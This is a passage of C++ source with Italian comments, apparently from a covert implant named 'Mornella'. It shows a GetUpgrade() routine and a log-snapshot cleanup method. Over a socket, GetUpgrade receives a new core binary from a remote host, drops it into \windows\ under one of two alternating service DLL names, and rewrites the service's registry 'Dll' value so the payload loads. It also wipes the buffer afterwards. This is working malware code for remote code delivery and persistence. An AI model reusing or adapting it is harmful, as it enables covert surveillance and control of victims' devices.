        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [1]\n", 5, FALSE);
        return FALSE;
    }

    // Riceviamo la lunghezza del file
    if (RecvData(s, (BYTE *)&uFileLen, sizeof(uFileLen)) == SOCKET_ERROR) {
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [2]\n", 5, FALSE);
        return FALSE;
    }

    if (uFileLen == 0) {
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [3]\n", 5, FALSE);
        return FALSE;
    }

    pFile = new(std::nothrow) BYTE[uFileLen];

    if (pFile == NULL) {
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [4]\n", 5, FALSE);
        return FALSE;
    }

    // Confermiamo l'avvenuta ricezione della lunghezza del file
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        delete[] pFile;
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [5]\n", 5, FALSE);
        return FALSE;
    }

    // Riceviamo il file
    if (RecvData(s, (BYTE *)pFile, uFileLen) == SOCKET_ERROR) {
        ZeroMemory(pFile, uFileLen);
        delete[] pFile;
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [6]\n", 5, FALSE);
        return FALSE;
    }

    // Se conosciamo il nostro nome, switchiamo il nuovo core
    strPathName = L"\\windows\\";

    if (g_strOurName.empty() == FALSE) {
        if (g_strOurName == MORNELLA_SERVICE_DLL_A)
            strPathName += MORNELLA_SERVICE_DLL_B;
        else
            strPathName += MORNELLA_SERVICE_DLL_A;

        hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        if (hFile == INVALID_HANDLE_VALUE) {
            ZeroMemory(pFile, uFileLen);
            delete[] pFile;
            DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [7]\n", 5, FALSE);
            return FALSE;
        }
    } else { // Se non sappiamo qual'e' il nostro nome... Guessiamo
        strPathName += MORNELLA_SERVICE_DLL_A;

        hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

        if (hFile == INVALID_HANDLE_VALUE) {
            strPathName = L"\\windows\\";
            strPathName += MORNELLA_SERVICE_DLL_B;

            hFile = CreateFile(strPathName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

            if (hFile == INVALID_HANDLE_VALUE) {
                ZeroMemory(pFile, uFileLen);
                delete[] pFile;
                DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [8]\n", 5, FALSE);
                return FALSE;
            }

            g_strOurName = MORNELLA_SERVICE_DLL_A;
        } else {
            g_strOurName = MORNELLA_SERVICE_DLL_B;
        }
    }

    if (g_strOurName == MORNELLA_SERVICE_DLL_A)
        strNewCore = MORNELLA_SERVICE_DLL_B;
    else
        strNewCore = MORNELLA_SERVICE_DLL_A;

    if (WriteFile(hFile, pFile, uFileLen, &dwWritten, NULL) == FALSE) {
        ZeroMemory(pFile, uFileLen);
        delete[] pFile;
        CloseHandle(hFile);
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [9]\n", 5, FALSE);
        return FALSE;
    }

    FlushFileBuffers(hFile);
    CloseHandle(hFile);

    // Facciamo il wipe del contenuto del file
    ZeroMemory(pFile, uFileLen);
    delete[] pFile;

    // Scriviamo la chiave nel registro
    HKEY hKey;

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, MORNELLA_SERVICE_PATH, 0, 0, &hKey) != ERROR_SUCCESS) {
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [10] ", 5, TRUE);
        return FALSE;
    }

    // Aggiorniamo con il nome del nuovo core
    DWORD cbData = (strNewCore.size() * sizeof(WCHAR)) + sizeof(WCHAR);
    if (RegSetValueEx(hKey, L"Dll", 0, REG_SZ, (BYTE *)strNewCore.c_str(), cbData) != ERROR_SUCCESS) {
        RegCloseKey(hKey);
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [11] ", 5, TRUE);
        return FALSE;
    }

    RegCloseKey(hKey);
    RegFlushKey(HKEY_LOCAL_MACHINE);

    // Confermiamo l'avvenuta ricezione del nuovo core
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [12]\n", 5, FALSE);
        return FALSE;
    }

    return TRUE;
}

void Transfer::ClearLogSnapshot() {
    if (uberlogObj == NULL || pSnap == NULL)
        return;

    uberlogObj->ClearListSnapshot(pSnap);

    pSnap = NULL;
}